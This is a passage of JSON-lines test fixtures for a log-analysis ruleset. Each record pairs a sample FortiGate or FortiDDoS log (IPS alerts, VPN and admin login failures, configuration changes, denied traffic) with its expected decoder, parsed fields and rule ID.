"section": "FortiGate: IPS - High severity."} +{"log": "2021-05-27T23:59:59.998837-03:00 12.34.56.78 devid=FGXXXXXXX date=2021-05-28 time=00:00:00 tz=ART type=attack subtype=\"ips\" spp=4 evecode=2 evesubcode=27 description=\"TCP invalid flag combination \" dir=1 protocol=6 sip=0.0.0.0 dip=12.34.56.79 dropcount=30 subnetid=95 facility=Local0 level=Notice direction=inbound spp_name=\"YYYYY\" subnet_name=\"ZZZZZ\" sppoperatingmode=detection severity=\"low\"", "decoder": "fortiddos-like", "parent": "", "fields": {"date": "2021-05-28", "description": "TCP invalid flag combination ", "devid": "FGXXXXXXX", "dir": "1", "direction": "inbound", "dropCount": "30", "dstip": "12.34.56.79", "evecode": "2", "evesubcode": "27", "facility": "Local0", "level": "Notice", "protocol": "6", "severity": "low", "spp": "4", "spp_name": "YYYYY", "sppoperatingmode": "detection", "srcip": "0.0.0.0", "subnet_name": "ZZZZZ", "subnetid": "95", "subtype": "ips", "time": "00:00:00", "type": "attack", "tz": "ART"}, "field_names": ["date", "description", "devid", "dir", "direction", "dropCount", "dstip", "evecode", "evesubcode", "facility", "level", "protocol", "severity", "spp", "spp_name", "sppoperatingmode", "srcip", "subnet_name", "subnetid", "subtype", "time", "type", "tz"], "rule": "44630", "level": "3", "expected_decoder": "fortiddos-like", "expected_rule": "44630", "rule_matches_expected": true, "ini_file": "fortiddos.ini", "section": "FortiGate: IPS - Low severity."} +{"log": "2021-05-27T23:59:59.998837-03:00 12.34.56.78 devid=FGXXXXXXX date=2021-05-28 time=00:00:00 tz=ART type=attack subtype=\"ips\" spp=4 evecode=2 evesubcode=27 description=\"TCP invalid flag combination \" dir=1 protocol=6 sip=0.0.0.0 dip=12.34.56.79 dropcount=30 subnetid=95 facility=Local0 level=Notice direction=inbound spp_name=\"YYYYY\" subnet_name=\"ZZZZZ\" sppoperatingmode=detection severity=\"medium\"", "decoder": "fortiddos-like", "parent": "", "fields": {"date": "2021-05-28", "description": "TCP invalid flag combination ", "devid": "FGXXXXXXX", "dir": "1", "direction": "inbound", "dropCount": "30", "dstip": "12.34.56.79", "evecode": "2", "evesubcode": "27", "facility": "Local0", "level": "Notice", "protocol": "6", "severity": "medium", "spp": "4", "spp_name": "YYYYY", "sppoperatingmode": "detection", "srcip": "0.0.0.0", "subnet_name": "ZZZZZ", "subnetid": "95", "subtype": "ips", "time": "00:00:00", "type": "attack", "tz": "ART"}, "field_names": ["date", "description", "devid", "dir", "direction", "dropCount", "dstip", "evecode", "evesubcode", "facility", "level", "protocol", "severity", "spp", "spp_name", "sppoperatingmode", "srcip", "subnet_name", "subnetid", "subtype", "time", "type", "tz"], "rule": "44631", "level": "5", "expected_decoder": "fortiddos-like", "expected_rule": "44631", "rule_matches_expected": true, "ini_file": "fortiddos.ini", "section": "FortiGate: IPS - medium severity."} +{"log": "date=2016-06-15 time=10:42:31 devname=Device_Name devid=FGTXXXX9999999999 logid=9999999999 type=event subtype=vpn level=error vd=\"root\" logdesc=\"IPsec DPD failed\" msg=\"IPsec DPD failure\" action=dpd remip=1.2.3.4 locip=4.3.2.1 remport=500 locport=500 outintf=\"wan1\" cookies=\"fsdagfdfgfdgfdg/qwerweafasfefsd\" user=\"N/A\" group=\"N/A\" xauthuser=\"N/A\" xauthgroup=\"N/A\" assignip=N/A vpntunnel=\"BW\" status=dpd_failure", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "dpd", "assignip": "N/A", "cookies": "fsdagfdfgfdgfdg/qwerweafasfefsd", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dstuser": "N/A", "group": "N/A", "level": "error", "locip": "4.3.2.1", "locport": "500", "logdesc": "IPsec DPD failed", "logid": "9999999999", "msg": "IPsec DPD failure", "outintf": "wan1", "remip": "1.2.3.4", "remport": "500", "status": "dpd_failure", "subtype": "vpn", "time": "10:42:31", "type": "event", "vd": "root", "vpntunnel": "BW", "xauthgroup": "N/A", "xauthuser": "N/A"}, "field_names": ["action", "assignip", "cookies", "devid", "devname", "dstuser", "group", "level", "locip", "locport", "logdesc", "logid", "msg", "outintf", "remip", "remport", "status", "subtype", "time", "type", "vd", "vpntunnel", "xauthgroup", "xauthuser"], "rule": "81604", "level": "4", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81604", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: IPsec DPD failed"} +{"log": "date=2016-06-14 time=12:22:01 devname=Device_Name devid=FGTXXXX9999999999 logid=9999999999 type=event subtype=system level=alert vd=\"root\" logdesc=\"Admin login failed\" sn=0 user=\"gfedhf\" ui=https(4.3.5.253) action=login status=failed reason=\"name_invalid\" msg=\"Administrator gfedhf login failed from https(4.3.5.253) because of invalid user name\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "login", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dstuser": "gfedhf", "level": "alert", "logdesc": "Admin login failed", "logid": "9999999999", "msg": "Administrator gfedhf login failed from https(4.3.5.253) because of invalid user name", "reason": "name_invalid", "sn": "0", "status": "failed", "subtype": "system", "time": "12:22:01", "type": "event", "ui": "https(4.3.5.253)", "vd": "root"}, "field_names": ["action", "devid", "devname", "dstuser", "level", "logdesc", "logid", "msg", "reason", "sn", "status", "subtype", "time", "type", "ui", "vd"], "rule": "81606", "level": "4", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81606", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: Login failed."} +{"log": "date=2016-06-17 time=02:37:41 devname=Mobipay_Firewall devid=FGTXXXX9999999999 logid=0100032002 type=event subtype=system level=alert vd=\"root\" logdesc=\"Admin login failed\" sn=0 user=\"root\" ui=ssh(222.186.130.227) action=login status=failed reason=\"name_invalid\" msg=\"Administrator root login failed from ssh(222.186.130.227) because of invalid user name\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "login", "devid": "FGTXXXX9999999999", "devname": "Mobipay_Firewall", "dstuser": "root", "level": "alert", "logdesc": "Admin login failed", "logid": "0100032002", "msg": "Administrator root login failed from ssh(222.186.130.227) because of invalid user name", "reason": "name_invalid", "sn": "0", "status": "failed", "subtype": "system", "time": "02:37:41", "type": "event", "ui": "ssh(222.186.130.227)", "vd": "root"}, "field_names": ["action", "devid", "devname", "dstuser", "level", "logdesc", "logid", "msg", "reason", "sn", "status", "subtype", "time", "type", "ui", "vd"], "rule": "81606", "level": "4", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81606", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: Login failed."} +{"log": "date=2016-06-14 time=10:47:23 devname=Device_Name devid=FGTXXXX9999999999 logid=9999999999 type=event subtype=system level=alert vd=\"root\" logdesc=\"Configuration changed\" user=\"admin\" ui=https(105.232.255.15) msg=\"Configuration is changed in the admin session\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"devid": "FGTXXXX9999999999", "devname": "Device_Name", "dstuser": "admin", "level": "alert", "logdesc": "Configuration changed", "logid": "9999999999", "msg": "Configuration is changed in the admin session", "subtype": "system", "time": "10:47:23", "type": "event", "ui": "https(105.232.255.15)", "vd": "root"}, "field_names": ["devid", "devname", "dstuser", "level", "logdesc", "logid", "msg", "subtype", "time", "type", "ui", "vd"], "rule": "81608", "level": "7", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81608", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: Configuration changed."} +{"log": "date=2016-06-15 time=09:41:35 devname=Device_Name devid=FGTXXXX9999999999 logid=9999999999 type=utm subtype=ips eventtype=signature level=alert vd=\"root\" severity=info srcip=192.168.10.8 dstip=157.55.235.162 srcintf=\"internal2\" dstintf=\"wan2\" policyid=2 sessionid=1473454 action=reset proto=6 service=tcp/20480 attack=\"HTTP.Unknown.Tunnelling\" srcport=62216 dstport=80 direction=outgoing attackid=107347981 profile=\"default\" ref=\"http://www.fortinet.com/ids/VID107347981\" incidentserialno=1999871775 msg=\"http_decoder: HTTP.Unknown.Tunnelling,\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "reset", "attack": "HTTP.Unknown.Tunnelling", "attackid": "107347981", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "direction": "outgoing", "dstintf": "wan2", "dstip": "157.55.235.162", "dstport": "80", "eventtype": "signature", "incidentserialno": "1999871775", "level": "alert", "logid": "9999999999", "msg": "http_decoder: HTTP.Unknown.Tunnelling,", "policyid": "2", "profile": "default", "proto": "6", "ref": "http://www.fortinet.com/ids/VID107347981", "service": "tcp/20480", "sessionid": "1473454", "severity": "info", "srcintf": "internal2", "srcip": "192.168.10.8", "srcport": "62216", "subtype": "ips", "time": "09:41:35", "type": "utm", "vd": "root"}, "field_names": ["action", "attack", "attackid", "devid", "devname", "direction", "dstintf", "dstip", "dstport", "eventtype", "incidentserialno", "level", "logid", "msg", "policyid", "profile", "proto", "ref", "service", "sessionid", "severity", "srcintf", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81610", "level": "4", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81610", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: Default tunneling setting. Could be IPS."} +{"log": "date=2016-06-16 time=09:03:03 devname=Device_Name devid=FGTXXXX9999999999 logid=9999999999 type=event subtype=system level=information vd=\"root\" logdesc=\"Object attribute configured\" user=\"admin\" ui=\"GUI(4.3.5.8)\" action=Edit cfgtid=2162752 cfgpath=\"firewall.service.custom\" cfgobj=\"Custom-TCP_10443\" cfgattr=\"tcp-portrange[->10443]udp-portrange[->]sctp-portrange[->]\" msg=\"Edit firewall.service.custom Custom-TCP_10443\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "Edit", "cfgattr": "tcp-portrange[->10443]udp-portrange[->]sctp-portrange[->]", "cfgobj": "Custom-TCP_10443", "cfgpath": "firewall.service.custom", "cfgtid": "2162752", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dstuser": "admin", "level": "information", "logdesc": "Object attribute configured", "logid": "9999999999", "msg": "Edit firewall.service.custom Custom-TCP_10443", "subtype": "system", "time": "09:03:03", "type": "event", "ui": "GUI(4.3.5.8)", "vd": "root"}, "field_names": ["action", "cfgattr", "cfgobj", "cfgpath", "cfgtid", "devid", "devname", "dstuser", "level", "logdesc", "logid", "msg", "subtype", "time", "type", "ui", "vd"], "rule": "81612", "level": "3", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81612", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: Firewall configuration changes."} +{"log": "date=2016-06-16 time=09:03:03 devname=Device_Name devid=FGTXXXX9999999999 logid=9999999999 type=event subtype=system level=information vd=\"root\" logdesc=\"Object attribute configured\" user=\"admin\" ui=\"GUI(4.3.5.8)\" action=Edit cfgtid=2162751 cfgpath=\"firewall.service.custom\" cfgobj=\"Custom-TCP_10443\" cfgattr=\"protocol[TCP/UDP/SCTP->TCP/UDP/SCTP]udp-portrange[->]sctp-portrange[->]\" msg=\"Edit firewall.service.custom Custom-TCP_10443\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "Edit", "cfgattr": "protocol[TCP/UDP/SCTP->TCP/UDP/SCTP]udp-portrange[->]sctp-portrange[->]", "cfgobj": "Custom-TCP_10443", "cfgpath": "firewall.service.custom", "cfgtid": "2162751", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dstuser": "admin", "level": "information", "logdesc": "Object attribute configured", "logid": "9999999999", "msg": "Edit firewall.service.custom Custom-TCP_10443", "subtype": "system", "time": "09:03:03", "type": "event", "ui": "GUI(4.3.5.8)", "vd": "root"}, "field_names": ["action", "cfgattr", "cfgobj", "cfgpath", "cfgtid", "devid", "devname", "dstuser", "level", "logdesc", "logid", "msg", "subtype", "time", "type", "ui", "vd"], "rule": "81612", "level": "3", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81612", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: Firewall configuration changes."} +{"log": "date=2016-06-16 time=08:41:14 devname=Mobipay_Firewall devid=FGTXXXX9999999999 logid=0100044546 type=event subtype=system level=information vd=\"root\" logdesc=\"Attribute configured\" user=\"a@b.com.na\" ui=\"GUI(10.42.8.253)\" action=Edit cfgtid=2162733 cfgpath=\"log.threat-weight\" cfgattr=\"failed-connection[low->medium]\" msg=\"Edit log.threat-weight \"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "Edit", "cfgattr": "failed-connection[low->medium]", "cfgpath": "log.threat-weight", "cfgtid": "2162733", "devid": "FGTXXXX9999999999", "devname": "Mobipay_Firewall", "dstuser": "a@b.com.na", "level": "information", "logdesc": "Attribute configured", "logid": "0100044546", "msg": "Edit log.threat-weight ", "subtype": "system", "time": "08:41:14", "type": "event", "ui": "GUI(10.42.8.253)", "vd": "root"}, "field_names": ["action", "cfgattr", "cfgpath", "cfgtid", "devid", "devname", "dstuser", "level", "logdesc", "logid", "msg", "subtype", "time", "type", "ui", "vd"], "rule": "81612", "level": "3", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81612", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: Firewall configuration changes."} +{"log": "date=2016-06-15 time=21:35:09 devname=Device_Name devid=FGTXXXX9999999999 logid=0101039426 type=event subtype=vpn level=alert vd=\"root\" logdesc=\"SSL VPN login fail\" action=\"ssl-login-fail\" tunneltype=\"ssl-web\" tunnelid=0 remip=2.4.6.8 tunnelip=(null) user=\"my_user_name\" group=\"N/A\" dst_host=\"N/A\" reason=\"sslvpn_login_unknown_user\" msg=\"SSL user failed to logged in\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "ssl-login-fail", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dst_host": "N/A", "dstuser": "my_user_name", "group": "N/A", "level": "alert", "logdesc": "SSL VPN login fail", "logid": "0101039426", "msg": "SSL user failed to logged in", "reason": "sslvpn_login_unknown_user", "remip": "2.4.6.8", "subtype": "vpn", "time": "21:35:09", "tunnelid": "0", "tunnelip": "(null)", "tunneltype": "ssl-web", "type": "ssl-web", "vd": "root"}, "field_names": ["action", "devid", "devname", "dst_host", "dstuser", "group", "level", "logdesc", "logid", "msg", "reason", "remip", "subtype", "time", "tunnelid", "tunnelip", "tunneltype", "type", "vd"], "rule": "81614", "level": "4", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81614", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: SSL VPN user failed login attempt."} +{"log": "date=2016-06-16 time=08:48:28 devname=Device_Name devid=FGTXXXX9999999999 logid=0100032003 type=event subtype=system level=information vd=\"root\" logdesc=\"Admin logout successful\" sn=1466062693 user=\"a@b.com.na\" ui=https(4.3.5.253) action=logout status=success duration=615 state=\"Config-Changed\" reason=exit msg=\"Administrator a@b.com.na logged out from https(2.3.8.1)\"", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "logout", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dstuser": "a@b.com.na", "duration": "615", "level": "information", "logdesc": "Admin logout successful", "logid": "0100032003", "msg": "Administrator a@b.com.na logged out from https(2.3.8.1)", "reason": "exit", "sn": "1466062693", "state": "Config-Changed", "status": "success", "subtype": "system", "time": "08:48:28", "type": "event", "ui": "https(4.3.5.253)", "vd": "root"}, "field_names": ["action", "devid", "devname", "dstuser", "duration", "level", "logdesc", "logid", "msg", "reason", "sn", "state", "status", "subtype", "time", "type", "ui", "vd"], "rule": "81616", "level": "4", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81616", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate: User logout successful."} +{"log": "Dec 23 11:13:03 date=2011-07-24 time=10: 13:03 devname=Device_Name device_id=FGTXXXX9999999999 log_id=0038016004 type=traffic subtype=other pri=notice vd=root SN=9999999999 duration=0 user=N/A group=N/A rule=0 policyid=0 proto=6 service=tcp app_type=N/A status=deny src=10.3.3.3 srcname=10.3.3.3 dst=10.4.4.4 dstname=10.4.4.4 src_int=N/A dst_int=\"N/A\" sent=0 rcvd=0", "decoder": "fortigate-firewall-v3", "parent": "", "fields": {"action": "deny", "date": "2011-07-24", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dstip": "10.4.4.4", "log_id": "0038016004", "pri": "notice", "protocol": "tcp", "srcip": "10.3.3.3", "subtype": "other", "time": "10: 13:03", "type": "traffic", "vd": "root"}, "field_names": ["action", "date", "devid", "devname", "dstip", "log_id", "pri", "protocol", "srcip", "subtype", "time", "type", "vd"], "rule": "81618", "level": "1", "expected_decoder": "fortigate-firewall-v3", "expected_rule": "81618", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 3: Traffic to be aware of."} +{"log": "Mar 24 12:19:43 date=2011-07-25 time=08: 19:42 devname=Name_of_Device device_id=FGXXXX9999999999 log_id=0038016002 type=traffic subtype=other pri=notice vd=root SN=9999999999 duration=0 user=N/A group=N/A rule=0 policyid=0 proto=1 service=3/icmp app_type=N/A status=accept src=10.1.1.1 srcname=10.1.1.1 dst=10.2.2.2 dstname=10.2.2.2 src_int=N/A dst_int=\"N/A\" sent=0 rcvd=0 sent_pkt=0 rcvd_pkt=0 src_port=0 dst_port=0 vpn=\"N/A\" tran_ip=0.0.0.0 tran_port=0 dir_disp=org tran_disp=noop", "decoder": "fortigate-firewall-v3", "parent": "", "fields": {"action": "accept", "date": "2011-07-25", "devid": "FGXXXX9999999999", "devname": "Name_of_Device", "dstip": "10.2.2.2", "dstport": "0", "log_id": "0038016002", "pri": "notice", "protocol": "3/icmp", "srcip": "10.1.1.1", "srcport": "0", "subtype": "other", "time": "08: 19:42", "type": "traffic", "vd": "root"}, "field_names": ["action", "date", "devid", "devname", "dstip", "dstport", "log_id", "pri", "protocol", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81618", "level": "1", "expected_decoder": "fortigate-firewall-v3", "expected_rule": "81618", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 3: Traffic to be aware of."} +{"log": "Feb 20 12:26:25 date=2011-02-20 time=12: 26:24 devname=Device_Name device_id=FGXXXX0000000001 log_id=9999999999 type=traffic subtype=other pri=notice status=deny vd=\"root\" src=10.10.10.10 srcname=10.10.10.10 src_port=1111 dst=10.20.30.40 dstname=10.20.30.40 dst_port=2222 service=65535/tcp proto=6 app_type=N/A duration=0 rule=0 policyid=0 identidx=0 sent=0 rcvd=0 shaper_drop_sent=0 shaper_drop_rcvd=0 perip_drop=0 shaper_sent_name=\"N/A\" shaper_rcvd_name=\"N/A\" perip_name=\"N/A\" vpn=\"N/A\" src_int=\"Interface Name\" dst_int=\"internal\" SN=123456 app=\"N/A\" app_cat=\"N/A\" user=\"N/A\" group=\"N/A\" carrier_ep=\"N/A\"", "decoder": "fortigate-firewall-v4", "parent": "", "fields": {"action": "deny", "date": "2011-02-20", "devid": "FGXXXX0000000001", "devname": "Device_Name", "dstip": "10.20.30.40", "dstport": "2222", "log_id": "9999999999", "pri": "notice", "protocol": "tcp", "srcip": "10.10.10.10", "srcport": "1111", "subtype": "other", "time": "12: 26:24", "type": "traffic", "vd": "root"}, "field_names": ["action", "date", "devid", "devname", "dstip", "dstport", "log_id", "pri", "protocol", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81618", "level": "1", "expected_decoder": "fortigate-firewall-v4", "expected_rule": "81618", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 4: Traffic to be aware of."} +{"log": "Feb 19 22:00:07 date=2011-02-19 time=22: 00:07 devname=Device_Name device_id=FGXXXX1231231231 log_id=3213213213 type=traffic subtype=other pri=notice status=deny vd=\"root\" src=10.10.10.1 srcname=10.10.10.1 src_port=1111 dst=10.9.8.7 dstname=10.9.8.7 dst_port=2222 service=65535/udp proto=17 app_type=N/A duration=0 rule=0 policyid=0 identidx=0 sent=0 rcvd=0 shaper_drop_sent=0 shaper_drop_rcvd=0 perip_drop=0 shaper_sent_name=\"N/A\" shaper_rcvd_name=\"N/A\" perip_name=\"N/A\" vpn=\"N/A\" src_int=\"wan1\" dst_int=\"root\" SN=333333 app=\"N/A\" app_cat=\"N/A\" user=\"N/A\" group=\"N/A\" carrier_ep=\"N/A\"", "decoder": "fortigate-firewall-v4", "parent": "", "fields": {"action": "deny", "date": "2011-02-19", "devid": "FGXXXX1231231231", "devname": "Device_Name", "dstip": "10.9.8.7", "dstport": "2222", "log_id": "3213213213", "pri": "notice", "protocol": "udp", "srcip": "10.10.10.1", "srcport": "1111", "subtype": "other", "time": "22: 00:07", "type": "traffic", "vd": "root"}, "field_names": ["action", "date", "devid", "devname", "dstip", "dstport", "log_id", "pri", "protocol", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81618", "level": "1", "expected_decoder": "fortigate-firewall-v4", "expected_rule": "81618", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 4: Traffic to be aware of."} +{"log": "Feb 20 12:31:11 date=2011-02-20 time=12: 31:09 devname=Name_of_Device device_id=FGXXXX1000000000 log_id=8888888888 type=traffic subtype=other pri=notice status=accept vd=\"root\" src=192.168.0.1 srcname=192.168.0.1 src_port=0 dst=192.168.254.254 dstname=192.168.254.254 dst_port=0 service=11/icmp proto=1 app_type=N/A duration=0 rule=0 policyid=0 identidx=0 sent=0 rcvd=0 shaper_drop_sent=0 shaper_drop_rcvd=0 shaper_sent_name=\"N/A\" shaper_rcvd_name=\"N/A\" perip_name=\"N/A\" vpn=\"N/A\" src_int=\"root\" dst_int=\"N/A\" SN=123412341234 app=\"N/A\" app_cat=\"N/A\" user=\"N/A\" group=\"N/A\" carrier_ep=\"N/A\"", "decoder": "fortigate-firewall-v4", "parent": "", "fields": {"action": "accept", "date": "2011-02-20", "devid": "FGXXXX1000000000", "devname": "Name_of_Device", "dstip": "192.168.254.254", "dstport": "0", "log_id": "8888888888", "pri": "notice", "protocol": "icmp", "srcip": "192.168.0.1", "srcport": "0", "subtype": "other", "time": "12: 31:09", "type": "traffic", "vd": "root"}, "field_names": ["action", "date", "devid", "devname", "dstip", "dstport", "log_id", "pri", "protocol", "srcip", "srcport", "subtype", "time", "type", "vd"], "rule": "81618", "level": "1", "expected_decoder": "fortigate-firewall-v4", "expected_rule": "81618", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 4: Traffic to be aware of."} +{"log": "date=2016-06-16 time=10:19:23 devname=Device_Name devid=FGTXXXX9999999999 logid=0000000013 type=traffic subtype=forward level=notice vd=root srcip=7.3.8.5 srcport=57727 srcintf=\"internal1\" dstip=7.8.9.81 dstport=80 dstintf=\"wan1\" poluuid=d6217c58-8c42-51e5-c3a6-c7766895cbfd sessionid=181876 proto=6 action=deny policyid=8 dstcountry=\"Reserved\" srccountry=\"Reserved\" trandisp=snat transip=160.242.8.82 transport=57727 service=\"HTTP\" appid=107347980 app=\"Proxy.HTTP\" appcat=\"Proxy\" apprisk=critical applist=\"default\" appact=drop-session duration=30 sentbyte=0 rcvdbyte=3042 sentpkt=0 utmaction=block countapp=1 crscore=10 craction=1048576", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "deny", "app": "Proxy.HTTP", "appact": "drop-session", "appcat": "Proxy", "appid": "107347980", "applist": "default", "apprisk": "critical", "countapp": "1", "craction": "1048576", "crscore": "10", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dstcountry": "Reserved", "dstintf": "wan1", "dstip": "7.8.9.81", "dstport": "80", "duration": "30", "level": "notice", "logid": "0000000013", "policyid": "8", "poluuid": "d6217c58-8c42-51e5-c3a6-c7766895cbfd", "proto": "6", "rcvdbyte": "3042", "sentbyte": "0", "sentpkt": "0", "service": "HTTP", "sessionid": "181876", "srccountry": "Reserved", "srcintf": "internal1", "srcip": "7.3.8.5", "srcport": "57727", "subtype": "forward", "time": "10:19:23", "trandisp": "snat", "transip": "160.242.8.82", "transport": "57727", "type": "traffic", "utmaction": "block", "vd": "root"}, "field_names": ["action", "app", "appact", "appcat", "appid", "applist", "apprisk", "countapp", "craction", "crscore", "devid", "devname", "dstcountry", "dstintf", "dstip", "dstport", "duration", "level", "logid", "policyid", "poluuid", "proto", "rcvdbyte", "sentbyte", "sentpkt", "service", "sessionid", "srccountry", "srcintf", "srcip", "srcport", "subtype", "time", "trandisp", "transip", "transport", "type", "utmaction", "vd"], "rule": "81618", "level": "1", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81618", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 5: Traffic to be aware of."} +{"log": "date=2016-06-16 time=10:49:08 devname=Device_Name devid=FGTXXXX9999999999 logid=0000000013 type=traffic subtype=forward level=notice vd=root srcip=4.3.5.161 srcport=51082 srcintf=\"internal1\" dstip=54.192.197.185 dstport=80 dstintf=\"wan1\" poluuid=d6217c58-8c42-51e5-c3a6-c7766895cbfd sessionid=199618 proto=6 action=deny policyid=8 dstcountry=\"United States\" srccountry=\"Reserved\" trandisp=snat transip=160.242.8.82 transport=51082 service=\"HTTP\" appid=6 app=\"BitTorrent\" appcat=\"P2P\" apprisk=high applist=\"default\" appact=drop-session duration=3 sentbyte=60 rcvdbyte=3050 sentpkt=1 utmaction=block countapp=1 crscore=5 craction=1048576", "decoder": "fortigate-firewall-v5", "parent": "", "fields": {"action": "deny", "app": "BitTorrent", "appact": "drop-session", "appcat": "P2P", "appid": "6", "applist": "default", "apprisk": "high", "countapp": "1", "craction": "1048576", "crscore": "5", "devid": "FGTXXXX9999999999", "devname": "Device_Name", "dstcountry": "United States", "dstintf": "wan1", "dstip": "54.192.197.185", "dstport": "80", "duration": "3", "level": "notice", "logid": "0000000013", "policyid": "8", "poluuid": "d6217c58-8c42-51e5-c3a6-c7766895cbfd", "proto": "6", "rcvdbyte": "3050", "sentbyte": "60", "sentpkt": "1", "service": "HTTP", "sessionid": "199618", "srccountry": "Reserved", "srcintf": "internal1", "srcip": "4.3.5.161", "srcport": "51082", "subtype": "forward", "time": "10:49:08", "trandisp": "snat", "transip": "160.242.8.82", "transport": "51082", "type": "traffic", "utmaction": "block", "vd": "root"}, "field_names": ["action", "app", "appact", "appcat", "appid", "applist", "apprisk", "countapp", "craction", "crscore", "devid", "devname", "dstcountry", "dstintf", "dstip", "dstport", "duration", "level", "logid", "policyid", "poluuid", "proto", "rcvdbyte", "sentbyte", "sentpkt", "service", "sessionid", "srccountry", "srcintf", "srcip", "srcport", "subtype", "time", "trandisp", "transip", "transport", "type", "utmaction", "vd"], "rule": "81618", "level": "1", "expected_decoder": "fortigate-firewall-v5", "expected_rule": "81618", "rule_matches_expected": true, "ini_file": "fortigate.ini", "section": "Fortigate 5: Traffic to be aware of."} +{"log": "date=2019-05-13 time=11:45:04 logid=\"0000000013\" type=\"traffic\" subtype=\"forward\" level=\"notice\" vd=\"vdom1\" eventtime=1557773104815101919 srcip=10.1.100.11 srcport=60446 srcintf=\"port12\" srcintfrole=\"undefined\" dstip=172.16.200.55 dstport=80 dstintf=\"port11\" dstintfrole=\"undefined\" srcuuid=\"48420c8a-5c88-51e9-0424-a37f9e74621e\" dstuuid=\"187d6f46-5c86-51e9-70a0-fadcfc349c3e\" poluuid=\"3888b41a-5c88-51e9-cb32-1c32c66b4edf\" sessionid=359260 proto=6 action=\"close\" policyid=4 policytype=\"policy\" service=\"HTTP\" dstcountry=\"Reserved\" srccountry=\"Reserved\" trandisp=\"snat\" transip=172.16.200.2 transport=60446 appid=15893 app=\"HTTP.BROWSER\" appcat=\"Web.Client\" apprisk=\"medium\" applist=\"g-default\" duration=1 sentbyte=412 rcvdbyte=2286 sentpkt=6 rcvdpkt=6 wanin=313 wanout=92 lanin=92 lanout=92 utmaction=\"block\" countav=1 countapp=1 crscore=50 craction=2 osname=\"Ubuntu\" mastersrcmac=\"a2:e9:00:ec:40:01\" srcmac=\"a2:e9:00:ec:40:01\" srcserver=0 utmref=65497-770", "decoder": "fortigate-firewall-v6", "parent": "", "fields": {"action": "close", "app": "HTTP.BROWSER", "appcat": "Web.Client", "appid": "15893", "applist": "g-default", "apprisk": "medium", "cat": "Web.Client", "countapp": "1", "countav": "1", "craction": "2", "crscore": "50", "dstcountry": "Reserved", "dstintf": "port11", "dstintfrole": "undefined", "dstip": "172.16.200.55", "dstport": "80", "dstuuid": "187d6f46-5c86-51e9-70a0-fadcfc349c3e", "duration": "1", "eventtime": "1557773104815101919", "ip": "10.1.100.11", "lanin": "92", "lanout": "92", "level": "notice", "logid": "0000000013", "mastersrcmac": "a2:e9:00:ec:40:01", "osname": "Ubuntu", "policyid": "4", "policytype": "policy", "poluuid": "3888b41a-5c88-51e9-cb32-1c32c66b4edf", "proto": "6", "rcvdbyte": "2286", "rcvdpkt": "6", "ref": "65497-770", "sentbyte": "412", "sentpkt": "6", "service": "HTTP", "sessionid": "359260", "srccountry": "Reserved", "srcintf": "port12", "srcintfrole": "undefined", "srcip": "10.1.100.11", "srcmac": "a2:e9:00:ec:40:01", "srcport": "60446", "srcserver": "0", "srcuuid": "48420c8a-5c88-51e9-0424-a37f9e74621e", "subtype": "forward", "time": "11:45:04", "trandisp": "snat", "transip": "172.16.200.2", "transport": "60446", "type": "traffic", "utmaction": "block", "utmref": "65497-770", "vd": "vdom1", "wanin": "313", "wanout": "92"}, "field_names": ["action", "app", "appcat", "appid", "applist", "apprisk", "cat", "countapp", "countav", "craction", "crscore", "dstcountry", "dstintf", "dstintfrole", "dstip", "dstport", "dstuuid", "duration", "eventtime", "ip", "lanin", "lanout", "level", "logid", "mastersrcmac", "osname", "policyid", "policytype", "poluuid", "proto", "rcvdbyte", "rcvdpkt", "ref", "sentbyte", "sentpkt", "service", "sessionid", 